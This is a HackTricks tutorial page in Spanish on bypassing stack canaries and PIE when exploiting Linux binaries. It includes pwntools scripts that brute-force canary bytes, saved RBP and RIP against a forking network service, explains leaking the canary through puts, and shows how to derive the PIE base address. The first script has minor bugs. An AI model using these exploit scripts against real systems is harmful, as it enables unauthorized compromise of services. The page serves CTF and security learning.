hacktricks/exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md
2023-06-03 01:46:23 +00:00

10 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Si te enfrentas a un binario protegido por un canario y PIE (Ejecutable de Posición Independiente), probablemente necesites encontrar una forma de saltarlos.

{% hint style="info" %} Ten en cuenta que checksec puede no encontrar que un binario está protegido por un canario si este fue compilado estáticamente y no es capaz de identificar la función.
Sin embargo, puedes notar esto manualmente si encuentras que se guarda un valor en la pila al comienzo de una llamada de función y se comprueba este valor antes de salir. {% endhint %}

Fuerza bruta de Canary

La mejor manera de saltar un canario simple es si el binario es un programa que crea procesos secundarios cada vez que se establece una nueva conexión con él (servicio de red), porque cada vez que te conectas a él, se usará el mismo canario.

Entonces, la mejor manera de saltar el canario es simplemente fuerza bruta char por char, y puedes averiguar si el byte de canario adivinado es correcto comprobando si el programa ha fallado o continúa su flujo regular. En este ejemplo, la función fuerza bruta un canario de 8 Bytes (x64) y distingue entre un byte adivinado correcto y uno incorrecto simplemente comprobando si se envía una respuesta por el servidor (otra forma en otra situación podría ser usando un try/except):

Ejemplo 1

Este ejemplo está implementado para 64 bits pero podría ser fácilmente implementado para 32 bits.

from pwn import *

def connect():
    r = remote("localhost", 8788)

def get_bf(base):
    canary = ""
    guess = 0x0
    base += canary

    while len(canary) < 8:
        while guess != 0xff:
            r = connect()

            r.recvuntil("Username: ")
            r.send(base + chr(guess))

            if "SOME OUTPUT" in r.clean():
                print "Guessed correct byte:", format(guess, '02x')
                canary += chr(guess)
                base += chr(guess)
                guess = 0x0
                r.close()
                break
            else:
                guess += 1
                r.close()

    print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
    return base
    
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

Ejemplo 2

Esto está implementado para 32 bits, pero podría cambiarse fácilmente a 64 bits.
También tenga en cuenta que para este ejemplo, el programa espera primero un byte para indicar el tamaño de la entrada y luego el payload.

from pwn import *

# Here is the function to brute force the canary
def breakCanary():
	known_canary = b""
	test_canary = 0x0
	len_bytes_to_read = 0x21
	
	for j in range(0, 4):
		# Iterate up to 0xff times to brute force all posible values for byte
		for test_canary in range(0xff):
			print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
			
			# Send the current input size
			target.send(len_bytes_to_read.to_bytes(1, "little"))

			# Send this iterations canary
			target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))

			# Scan in the output, determine if we have a correct value
			output = target.recvuntil(b"exit.")
			if b"YUM" in output:
				# If we have a correct value, record the canary value, reset the canary value, and move on
				print(" - next byte is: " + hex(test_canary))
				known_canary = known_canary + test_canary.to_bytes(1, "little")
				len_bytes_to_read += 1
				break

	# Return the canary
	return known_canary

# Start the target process
target = process('./feedme')
#gdb.attach(target)

# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")

Imprimir el Canary

Otra forma de evitar el canary es imprimiéndolo.
Imaginemos una situación en la que un programa vulnerable a desbordamiento de pila puede ejecutar una función puts que apunta a parte del desbordamiento de pila. El atacante sabe que el primer byte del canary es un byte nulo (\x00) y que el resto del canary son bytes aleatorios. Entonces, el atacante puede crear un desbordamiento que sobrescribe la pila hasta el primer byte del canary.
Luego, el atacante llama a la funcionalidad puts en el medio de la carga útil que imprimirá todo el canary (excepto el primer byte nulo).
Con esta información, el atacante puede crear y enviar un nuevo ataque conociendo el canary (en la misma sesión del programa)

Obviamente, esta táctica es muy limitada ya que el atacante necesita poder imprimir el contenido de su carga útil para filtrar el canary y luego ser capaz de crear una nueva carga útil (en la misma sesión del programa) y enviar el verdadero desbordamiento de búfer.
Ejemplo de CTF: https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html

PIE

Para evitar el PIE, es necesario filtrar alguna dirección. Y si el binario no filtra ninguna dirección, lo mejor es forzar el RBP y el RIP guardados en la pila en la función vulnerable.
Por ejemplo, si un binario está protegido usando tanto un canary como PIE, puedes comenzar a forzar el canary, luego los siguientes 8 bytes (x64) serán el RBP guardado y los siguientes 8 bytes serán el RIP guardado.

Para forzar el RBP y el RIP del binario, puedes deducir que un byte adivinado válido es correcto si el programa produce alguna salida o simplemente no se bloquea. La misma función que se proporciona para forzar el canary se puede utilizar para forzar el RBP y el RIP:

print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])

Obtener la dirección base

Lo último que necesitas para vencer al PIE es calcular direcciones útiles a partir de las direcciones filtradas: el RBP y el RIP.

A partir del RBP puedes calcular dónde estás escribiendo tu shell en la pila. Esto puede ser muy útil para saber dónde vas a escribir la cadena "/bin/sh\x00" dentro de la pila. Para calcular la distancia entre el RBP filtrado y tu shellcode, simplemente puedes poner un punto de interrupción después de filtrar el RBP y comprobar dónde se encuentra tu shellcode, luego, puedes calcular la distancia entre el shellcode y el RBP:

INI_SHELLCODE = RBP - 1152

Desde el RIP se puede calcular la dirección base del binario PIE, lo cual es necesario para crear una cadena ROP válida.
Para calcular la dirección base, simplemente se debe ejecutar objdump -d vunbinary y verificar las últimas direcciones desensambladas:

En este ejemplo, se puede ver que solo se necesita 1 byte y medio para localizar todo el código, por lo tanto, la dirección base en esta situación será el RIP filtrado pero terminando en "000". Por ejemplo, si se filtró 0x562002970ecf, la dirección base será 0x562002970000.

elf.address = RIP - (RIP & 0xfff)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥